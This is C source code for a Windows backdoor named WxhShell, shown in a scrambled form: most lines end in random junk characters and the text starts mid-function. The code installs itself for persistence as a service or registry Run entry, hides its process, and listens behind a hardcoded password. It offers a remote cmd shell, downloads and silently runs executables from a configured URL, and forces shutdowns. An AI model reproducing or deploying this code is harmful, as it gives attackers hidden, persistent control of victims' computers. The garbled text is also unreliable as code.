    if(Boot(SHUTDOWN)) _sbp6ZO_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u<n Lag  
    else { ,~?YBLw@c  
    closesocket(wsh); [xKd7"d/n  
    ExitThread(0); iPrLwheb  
    } N:9>dpP}O  
    break; #]'rz,E<  
    } san,|yrMn  
  // 获取shell r#6_]ep}<'  
  case 's': { w;l<[q?_  
    CmdShell(wsh); Q3"} Hl2  
    closesocket(wsh); CA +uKM^"6  
    ExitThread(0); %8~3M75$  
    break; Q~Z=(rP20  
  } Vrvic4  
  // 退出 5[Pr|AY  
  case 'x': { l{D'uI[&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M2U&?V C!  
    CloseIt(wsh); rLX4jT^  
    break; 2W$cFC  
    } TXZv2P9  
  // 离开 \Vl`YYjZ  
  case 'q': { Jnv@.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |c`w'W?C6  
    closesocket(wsh); >,DbNmi  
    WSACleanup(); (L`j0kPN  
    exit(1); ;m2<eS`o'  
    break; TFuR@KaBR  
        } b?eu jxqg  
  } _ A 0w[n  
  } F0690v0mB[  
lqb/eN9(t  
  // 提示信息 IVW1]y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i.:. Y  
} ~i.k$XGA  
  } $2%f 8&  
KOwOIDt  
  return; V"!G2&  
} x=#VX\5k:  
D?Ux[Ozb  
// shell模块句柄 K'h1szW  
int CmdShell(SOCKET sock) -Qn=|2Mm?  
{ )P|[r  
STARTUPINFO si; ti &J  
ZeroMemory(&si,sizeof(si)); 8?FbtBAn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HQ{JwW!m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^S6u<,  
PROCESS_INFORMATION ProcessInfo; z.rh]Zq  
char cmdline[]="cmd"; ci+tdMA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %4W$Lq}  
  return 0; V:G>G'Eh0  
} P<fnLQ9  
Q%-di=  
// 自身启动模式 d9n?v)<v  
int StartFromService(void) b<]n%Q'n  
{ *~/OOH$"  
typedef struct 8KH\`5<  
{ $\k0Nup}  
  DWORD ExitStatus; =rR~`  
  DWORD PebBaseAddress; DvM5 k  
  DWORD AffinityMask; 98.>e  
  DWORD BasePriority; KeNL0_ Pw  
  ULONG UniqueProcessId; oc^Br~ Th  
  ULONG InheritedFromUniqueProcessId; Dk5Zh+^  
}   PROCESS_BASIC_INFORMATION; %e@HZ"V  
al 20V  
PROCNTQSIP NtQueryInformationProcess; !@'%G6:.  
-)~SM&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -[qq(E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K6olYG>  
wd/< 8>2X  
  HANDLE             hProcess; MfmACd^3$  
  PROCESS_BASIC_INFORMATION pbi; &x > B  
t5[[JD1V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .] `f,^v<c  
  if(NULL == hInst ) return 0; @JW@-9/  
4ikdM/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yAN=2fZm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G"T',~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z;h<6[(  
A*|cdY]HP  
  if (!NtQueryInformationProcess) return 0; [le)P$#z  
M?/jkc.8H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3z ]+uv+2J  
  if(!hProcess) return 0; R=T qj,6  
iZZ (4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -WQ^gcO=7  
LOTP*Syjf  
  CloseHandle(hProcess); <40rYr$/J  
+D1d=4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7n90f2"m  
if(hProcess==NULL) return 0; c"n ?'e  
fBQ?|~:n  
HMODULE hMod; 7u[j/l,  
char procName[255]; Gy[O)PEEh  
unsigned long cbNeeded; 3/#:~a9Q  
cJgBI(S5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,TRTRb;  
$#|gLVOQ  
  CloseHandle(hProcess); <94_@3  
(5Sivw*mP  
if(strstr(procName,"services")) return 1; // 以服务启动 F]m gmYD%  
#oJ5k8Wy  
  return 0; // 注册表启动 ;}z\i  
} u0`%+:]0  
p!/[K6u  
// 主模块 Z#.f&K )xX  
int StartWxhshell(LPSTR lpCmdLine) 45&8weXO:'  
{ {Q<$Uo6V  
  SOCKET wsl; ?GTU=gp Q  
BOOL val=TRUE; B>Wu;a.:L  
  int port=0; j|tC@0A  
  struct sockaddr_in door; `nO71mo  
z_ =Bt  
  if(wscfg.ws_autoins) Install(); zS< jd~  
2Dd|~{%  
port=atoi(lpCmdLine); <[GYLN[0Q  
L>Mpi$L  
if(port<=0) port=wscfg.ws_port; }Yv\0\~'W|  
}oJAB1'k  
  WSADATA data; s`Cy a`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P_u|-~|\  
f+.T^es  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    d^(1TNS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CB~Q%QLG  
  door.sin_family = AF_INET; *MI*Rz?4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kbPE "urR  
  door.sin_port = htons(port); 7a=S  
4Z*U}w)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OUP?p@%]<  
closesocket(wsl); >]=j'+]  
return 1; *;|`E(   
} 0hZ1rqq8C  
g=T/_  
  if(listen(wsl,2) == INVALID_SOCKET) { C[WCg9Av  
closesocket(wsl); _j>;ipTb+  
return 1; +}Av-47`h  
} eh R{X7J  
  Wxhshell(wsl); A>VX*xd  
  WSACleanup(); .qob_dRA  
E VQ0l@K  
return 0; tvd0R$5}  
vEQ<A<[Z  
} gw _$  
vB! |\eJ  
// 以NT服务方式启动  _ q(Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )IT6vU"-yd  
{ k'_ P 7  
DWORD   status = 0; $ OVXk'cc  
  DWORD   specificError = 0xfffffff; xLZd!>C  
F\ctuaLC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8e0."o.6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s/Xb^XjS1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [Vdz^_@Y  
  serviceStatus.dwWin32ExitCode     = 0; wve=.n  
  serviceStatus.dwServiceSpecificExitCode = 0; m+ itno  
  serviceStatus.dwCheckPoint       = 0; X bkb5EkA  
  serviceStatus.dwWaitHint       = 0; (Vg}Hh?p  
Q)af|GW$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8[ry |J  
  if (hServiceStatusHandle==0) return; TCvSc\Q[:1  
fE,9zUo  
status = GetLastError(); *5,c Rz  
  if (status!=NO_ERROR) hnWo|! ,O$  
{ sCl$f7"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =l<iI*J. M  
    serviceStatus.dwCheckPoint       = 0;  uIMe  
    serviceStatus.dwWaitHint       = 0; 9N[EZhW  
    serviceStatus.dwWin32ExitCode     = status; `B8tmW#  
    serviceStatus.dwServiceSpecificExitCode = specificError; nT#JOmv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x|eeRf|  
    return; s~26  
  } +CM7C%U   
Lv1{k\aw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #pdUJ2)yM  
  serviceStatus.dwCheckPoint       = 0; W 4YE~  
  serviceStatus.dwWaitHint       = 0; GD-&_6a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /NF#+bx  
} P%X-@0)  
oojiJ~  
// 处理NT服务事件,比如:启动、停止 5(&xNT-n8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F=)eLE{W  
{ HI&kP+,y  
switch(fdwControl) R|!B,b(  
{ xn}BB}s{t  
case SERVICE_CONTROL_STOP: *@ED}Mj+  
  serviceStatus.dwWin32ExitCode = 0; GbU@BN+_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^+?|Qfi  
  serviceStatus.dwCheckPoint   = 0; )y7_qxwbV  
  serviceStatus.dwWaitHint     = 0; em2_pq9q  
  { M,:Bl}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5|$a =UIR  
  } > 8]j  
  return; rn.\tDeA  
case SERVICE_CONTROL_PAUSE: cy~oPj]j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j?n+>/sG,  
  break; P"7ow-  
case SERVICE_CONTROL_CONTINUE: 2Ohp]G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kpob b  
  break; &~5=K  
case SERVICE_CONTROL_INTERROGATE: [6(Iwz?  
  break; G%TL/Z40  
}; Ua*&_~7kJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !D.0 (J  
} j nwQV  
E@ h y7X  
// 标准应用程序主函数 l54|Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FquFRx  
{ MmU%%2QG  
Uedvc5><t  
// 获取操作系统版本 \Mi#{0f+q  
OsIsNt=GetOsVer(); #I`ms$j%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'b:Ne,<  
ecH/Wz1  
  // 从命令行安装 3/M.0}e  
  if(strpbrk(lpCmdLine,"iI")) Install(); #-u [$TA  
%6 =\5>  
  // 下载执行文件 :,*eX' fH  
if(wscfg.ws_downexe) { 1(`M~vFDK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hhR aJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); &:?e&  
} 9(VRq^Z1  
BH:  
if(!OsIsNt) { r>qA $zD^  
// 如果时win9x,隐藏进程并且设置为注册表启动 _LfHs1g4  
HideProc(); Jme%  
StartWxhshell(lpCmdLine); [^PCm Z6n  
} @Hr+/52B  
else 7S2C/f  
  if(StartFromService()) c 8'Cq7  
  // 以服务方式启动 2DMrMmLI  
  StartServiceCtrlDispatcher(DispatchTable); WBppKj_M  
else  5) lW  
  // 普通方式启动 W$\X~Q'0  
  StartWxhshell(lpCmdLine); jv}=&d  
w;`m- 9<Y  
return 0; VfSGCe  
} lQt% Qx  
vrrt@y  
^GXEJU 7U  
Qd8b-hg  
=========================================== 1 ycc5=.  
|PM m?2^R  
j.c8}r&  
L]zNf71RD  
a20w,  
4'At.<]jL  
" LR$z0rDEM  
q9}2  
#include <stdio.h> .1ddv4Hk  
#include <string.h> dl/X."iv!  
#include <windows.h> 2Ug.:![  
#include <winsock2.h> kG3!(?:  
#include <winsvc.h> r#~K[qb  
#include <urlmon.h> F ! )-|n}  
P%GkcV  
#pragma comment (lib, "Ws2_32.lib") %RFYm  
#pragma comment (lib, "urlmon.lib") ch,|1}bi  
.S vyj  
#define MAX_USER   100 // 最大客户端连接数  ?f2G?Y  
#define BUF_SOCK   200 // sock buffer _5\AS+[x  
#define KEY_BUFF   255 // 输入 buffer QN 0rE @a  
SgSk !lj  
#define REBOOT     0   // 重启 x1DVD!0~{  
#define SHUTDOWN   1   // 关机 Tt6{WDscZ  
|[w^eg  
#define DEF_PORT   5000 // 监听端口 9.Ap~Ay.  
tyXl}$)y  
#define REG_LEN     16   // 注册表键长度 dF2@q@\.+  
#define SVC_LEN     80   // NT服务名长度 t.z$j  
u_'nOle K  
// 从dll定义API  <qn,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^('cbl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tP]q4i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^-L{/'[8M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rsSue_Q  
p+D=}O  
// wxhshell配置信息 b{HhS6<K?  
struct WSCFG { Qu_EfmN|  
  int ws_port;         // 监听端口 /oDpgOn  
  char ws_passstr[REG_LEN]; // 口令 v!!;js^  
  int ws_autoins;       // 安装标记, 1=yes 0=no {"4<To]z  
  char ws_regname[REG_LEN]; // 注册表键名 P7>IZ >bw  
  char ws_svcname[REG_LEN]; // 服务名 |LFUzq>j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H0tF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8m7eaZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /Su)|[/'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zv9M HC &  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #J~Xv:LgD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =5_y<0`4  
#O6 EP#B  
}; fIEw(k<*  
C@)pmSQ  
// default Wxhshell configuration rys<-i(  
struct WSCFG wscfg={DEF_PORT, As}eUm)B5c  
    "xuhuanlingzhe", HwW6tQ  
    1, U 1F-~ {r  
    "Wxhshell", 7%opzdS#  
    "Wxhshell", #[,= 1Od(q  
            "WxhShell Service", V(I7*_ZFl  
    "Wrsky Windows CmdShell Service", @$ftG  
    "Please Input Your Password: ", /yt7#!tm+  
  1, {tmKCG  
  "http://www.wrsky.com/wxhshell.exe", ,]U[W  
  "Wxhshell.exe" ^cb)f_90  
    }; 4a 4N C  
B<C&ay  
// 消息定义模块 /.2u.G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \AJS,QD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {0fz9"|U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =?+w)(*0c  
char *msg_ws_ext="\n\rExit."; xtsL8-u f  
char *msg_ws_end="\n\rQuit."; iRouLd  
char *msg_ws_boot="\n\rReboot..."; rV U:VL`2  
char *msg_ws_poff="\n\rShutdown..."; 9C?cm:  
char *msg_ws_down="\n\rSave to "; FRS28D  
DOT=U _  
char *msg_ws_err="\n\rErr!"; 59K}  
char *msg_ws_ok="\n\rOK!"; CnQg*+  
xi.IRAZX  
char ExeFile[MAX_PATH]; a G@nErdW  
int nUser = 0; yYBNH1  
HANDLE handles[MAX_USER]; A8mlw#`E8b  
int OsIsNt; p}f-c  
/o\U/I  
SERVICE_STATUS       serviceStatus; }"0{zrz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7 {nl..`  
y-<$bA[K~  
// 函数声明 uNg'h/^NZ|  
int Install(void); Vbo5`+NAis  
int Uninstall(void); ])S$x{.g  
int DownloadFile(char *sURL, SOCKET wsh); /bi6>GaC:E  
int Boot(int flag); To">DOt  
void HideProc(void); P!9;} &  
int GetOsVer(void); $wgc vySx  
int Wxhshell(SOCKET wsl); E0T&GR@.  
void TalkWithClient(void *cs);  ?;+^  
int CmdShell(SOCKET sock); ,FY-d$3)  
int StartFromService(void); Y[h#hZ  
int StartWxhshell(LPSTR lpCmdLine); 99a \MH`^  
DQMPAj.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *3P3M}3~\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HIsB|  
@kz!{g]Sn  
// 数据结构和表定义 \w3%[+c  
SERVICE_TABLE_ENTRY DispatchTable[] = d4% `e&K]'  
{ ]79~:m[C  
{wscfg.ws_svcname, NTServiceMain}, P6:;Y5e0  
{NULL, NULL} :b <KX%g  
}; % mJ~F*Dy  
-E}>h[;qZ  
// 自我安装 au,jAk  
int Install(void) }2h't.Z<u  
{ IO*l vy  
  char svExeFile[MAX_PATH]; wy YtpW  
  HKEY key; #n=A)#'my  
  strcpy(svExeFile,ExeFile); [f=.!\0\  
MSK'2+1T@g  
// 如果是win9x系统,修改注册表设为自启动 yAAG2c4(  
if(!OsIsNt) { kq>GMUl~@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ](_{,P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ny.*G@&  
  RegCloseKey(key); _yNT=#/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LSSW.Oz2L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %V31B\]Nz7  
  RegCloseKey(key); r?>Vx -  
  return 0;  gm(De9u  
    } 'YBi5_  
  } |PI)A`  
} =l_rAj~I|  
else { Zd8drT'@#  
8W;xi:CC  
// 如果是NT以上系统,安装为系统服务 c%ZeX%p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E(% XVr0W  
if (schSCManager!=0) AfUZO^<  
{ qQL.c+%L  
  SC_HANDLE schService = CreateService 5dqQws-,?1  
  ( 8^8>qSD1  
  schSCManager, A%h~Z a  
  wscfg.ws_svcname, ]7v81G5E  
  wscfg.ws_svcdisp, Wgav>7!9  
  SERVICE_ALL_ACCESS, ax4*xxU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;CA ?eI  
  SERVICE_AUTO_START, #FEa 5  
  SERVICE_ERROR_NORMAL, jYrym-  
  svExeFile, P`p6J8}4  
  NULL, vc )9Re$  
  NULL, Cca6L9%  
  NULL, G4O,^ v;Q  
  NULL, C/CN '  
  NULL 2H[=l Y  
  ); D!X>O}  
  if (schService!=0) "Ys_ \  
  { $4DFgvy$  
  CloseServiceHandle(schService); Vu_&~z7h  
  CloseServiceHandle(schSCManager); Z "-ntx#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4pLQ"&>}80  
  strcat(svExeFile,wscfg.ws_svcname); f( ]R/'o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4g>1G qv6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jo<>Hc{g>  
  RegCloseKey(key); `E{;85bDH  
  return 0; anK[P'Y  
    } ~l(G6/R  
  } 'CS^2Z  
  CloseServiceHandle(schSCManager); $< A8gTJ  
} ftO+.-sm<  
} {-o7w0d_  
D}mo\  
return 1; F='Xj@&O  
} ;&K3 [;a  
#D= tX  
// 自我卸载 P\,F1N_?r  
int Uninstall(void) v$[ @]`  
{ ooomi"u  
  HKEY key; EW ~*@H  
fB_4f{E  
if(!OsIsNt) { w}IL 8L(D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Sg<r,G  
  RegDeleteValue(key,wscfg.ws_regname); \H,V 9!B  
  RegCloseKey(key); +]A+!8%Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iPA@<D%  
  RegDeleteValue(key,wscfg.ws_regname); -zPm{a  
  RegCloseKey(key); Dm>T"4B`/  
  return 0; Z"l`e0 {  
  } 6].yRNy"  
} <+<)xwOQ ]  
} lO551Y^  
else { T {hyt  
,@}W@GGP)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :5r:I[FFy  
if (schSCManager!=0) -;l`hRW  
{ mw:3q6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "B3iX@C  
  if (schService!=0) oN.Mra]D  
  { HT{F$27W  
  if(DeleteService(schService)!=0) { Sja"(sJ  
  CloseServiceHandle(schService); U,oD44  
  CloseServiceHandle(schSCManager); 4aj[5fhb-  
  return 0; t9-_a5>E\}  
  } w~bG<kxP  
  CloseServiceHandle(schService); zd?bHcW/h  
  } $~ pr+Ei  
  CloseServiceHandle(schSCManager); `Mo~EHso.  
} r0~7v1rG  
} 2Som0T<2  
B=Xnv*e  
return 1; wlm3~B\64  
} sqm%iyC=q  
2A dX)iF@  
// 从指定url下载文件 lH6Cd/a  
int DownloadFile(char *sURL, SOCKET wsh) ph Wc 8[Q  
{ :GN)7|:  
  HRESULT hr; ~|X99?P  
char seps[]= "/"; ODM>Z8@W/  
char *token; 9)G:::8u7  
char *file; ,$hQ(yF  
char myURL[MAX_PATH]; SlH7-"Ag  
char myFILE[MAX_PATH]; ,2=UuW"K  
,m #@%fa  
strcpy(myURL,sURL); ;s}-X_O<  
  token=strtok(myURL,seps); x(C]O,  
  while(token!=NULL) >xxXPvM<`  
  { 0!3!?E <  
    file=token; Da9*/  
  token=strtok(NULL,seps); <wIp$F.  
  } 6LSPPMM  
\_iH4<#>  
GetCurrentDirectory(MAX_PATH,myFILE); 7VEt4  
strcat(myFILE, "\\"); Ig40#pA  
strcat(myFILE, file); E'S<L|A/  
  send(wsh,myFILE,strlen(myFILE),0); U p]VU9z  
send(wsh,"...",3,0); m _t(rn~f6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |_Naun=+~  
  if(hr==S_OK) 9b{g+lMZo  
return 0; "2y7&#l   
else }e&KO?x+  
return 1; ANA2S*r  
J8qu]{0I"  
} >m)2ox_B  
Y-}hNZn"{  
// 系统电源模块 htdn$kqG   
int Boot(int flag) ~NNaLl  
{ ZaEBdBv  
  HANDLE hToken; :ofE8]  
  TOKEN_PRIVILEGES tkp; kMwIuy  
y1@"H/nYJ  
  if(OsIsNt) { ~Mg8C9B?%3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EvGUj$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'W<a54T?z  
    tkp.PrivilegeCount = 1; 4YU1Kr4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @O  @|M'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d\1:1ucV  
if(flag==REBOOT) { j`LT`p"9S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9hz7drhR;\  
  return 0; oHP >v_ X  
} ?z4uze1  
else { -r6(=A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ep v3/ `I  
  return 0; <.y^  
} O"2wV +9  
  } .R<s<]  
  else { erAZG)  
if(flag==REBOOT) { @=aq&gb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (rY1O:*S  
  return 0; Oy?iAQ+  
} LyCV_6;D  
else { R'1vjDuv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -\sKSY5{R  
  return 0; ?j^?@%f0  
} `*uuB;  
} #nMP (ShK  
%(O^as  
return 1; K4VPmkG  
} Is,*qrl :  
^<5^9]x  
// win9x进程隐藏模块 '3Lx!pMhN  
void HideProc(void) %n V@'3EI  
{ r*  
R - ?0k:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v J,xz*rc`  
  if ( hKernel != NULL ) J&] XLr.j  
  { ['9OGV\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iz,q8}/(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c_DB^M!h  
    FreeLibrary(hKernel); K{[Fa,]'  
  } >Y*iy  
!O%f)v?  
return; P[J qJi/H  
} +wf& L  
QdG?"Bdt2  
// 获取操作系统版本 X\^3,k."  
int GetOsVer(void) #L1yL<'  
{ .q;RNCUt  
  OSVERSIONINFO winfo; XN0RT>@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &55uT;7] a  
  GetVersionEx(&winfo); XTn{1[.O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ogh2kht  
  return 1; Tl0+Bq  
  else ]cO$E=W  
  return 0; ~9{-I{=  
} 2Dwt4V  
-7Y'6''~W.  
// 客户端句柄模块 9M-]~.O  
int Wxhshell(SOCKET wsl) Z!5m'yZO  
{ enfu%"(K)  
  SOCKET wsh; N?u2,h-  
  struct sockaddr_in client; 6I6ZVSxb  
  DWORD myID; zDQ\PZ~  
b^=8%~?%4  
  while(nUser<MAX_USER) "~,(Xa3x  
{ f*R_\  
  int nSize=sizeof(client); G%x,t -  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,~68~_)  
  if(wsh==INVALID_SOCKET) return 1;   !AD,  
x:D<Mu#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `&&6-/  
if(handles[nUser]==0) neMe<jr  
  closesocket(wsh); .q& ]wu  
else ,r)d#8  
  nUser++; I^C ]6D{  
  } R/KWl^oNj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t)kr/Z*p\  
TlZlE^EE<  
  return 0; 6T'43h. :  
} 3By>t!~Q  
"9Fv!*<-W  
// 关闭 socket @0x.n\M_  
void CloseIt(SOCKET wsh) tGy%n[ \  
{ cqU/Y_%l'  
closesocket(wsh); \=: g$_l  
nUser--; ;U:o'9^9T  
ExitThread(0); zYl+BM-j,6  
} +Y%I0.?&5  
^`C*";8Q  
// 客户端请求句柄 &^Q~G>A  
void TalkWithClient(void *cs) /U Rj$ |  
{ C @[9 LB  
 9%hB   
  SOCKET wsh=(SOCKET)cs; -T="Ml &  
  char pwd[SVC_LEN]; s_e#y{ {C2  
  char cmd[KEY_BUFF]; X]qp~:4G  
char chr[1]; kO\&mL& qD  
int i,j; ZI:d&~1i1  
%L,,  
  while (nUser < MAX_USER) { ,Y/>*,J  
c\?/^xr'!}  
if(wscfg.ws_passstr) { Mh@ylp+q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _:z;j{@4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }&^bR)=  
  //ZeroMemory(pwd,KEY_BUFF); hFF&(t2{^  
      i=0; 0~I) /T  
  while(i<SVC_LEN) { }t{^*(  
!7Q.w/|=  
  // 设置超时 9"v ox   
  fd_set FdRead; JL*]9$o  
  struct timeval TimeOut; (6_/n&mF  
  FD_ZERO(&FdRead); ?Pf ,5=*B  
  FD_SET(wsh,&FdRead); |H I A[.q  
  TimeOut.tv_sec=8; kys-~&@+  
  TimeOut.tv_usec=0; 53#5p;k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L?5t <`#lw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rEyMSLN  
W2V@\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,DsT:8  
  pwd=chr[0]; e @MCumc~+  
  if(chr[0]==0xd || chr[0]==0xa) { X!'Xx8  
  pwd=0; (Y?yGq/  
  break; M)It(K8R  
  } 2FtEt+A+'  
  i++; +\@\,{Ujy  
    } :=KGQ3V~eK  
ry=[:\Z~  
  // 如果是非法用户,关闭 socket }T(q"Vf~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T%b^|="@  
} ]7ZC>.t  
6 v#sq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s`#j8>`M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uX!y,a/"  
HAOrwJFqU  
while(1) { 0R{R=r]  
Z\yLzy#8  
  ZeroMemory(cmd,KEY_BUFF); D.JVEKLkU  
Jrrk$0H^~  
      // 自动支持客户端 telnet标准   JC-yiORVr  
  j=0; NQ{Z   
  while(j<KEY_BUFF) { gnK!"!nL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IBHG1<3  
  cmd[j]=chr[0]; Tl{r D(D  
  if(chr[0]==0xa || chr[0]==0xd) { )4O`%9=M&  
  cmd[j]=0; MjosA R  
  break; :)S4MoG  
  } z^a?t<+  
  j++; r]vBr^kq  
    }  Z~:lfCK`  
lP &%5y;  
  // 下载文件 Hw3 ES  
  if(strstr(cmd,"http://")) { , 0ja_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?~9X:~6\  
  if(DownloadFile(cmd,wsh)) W..>Ny;'3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ji:@z%osr  
  else 2{qG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y'":OW#oN  
  } T"lqPbK  
  else { X'p%$HsMG  
iC\=U  
    switch(cmd[0]) { u01^ABn  
  5q*~h4=r7  
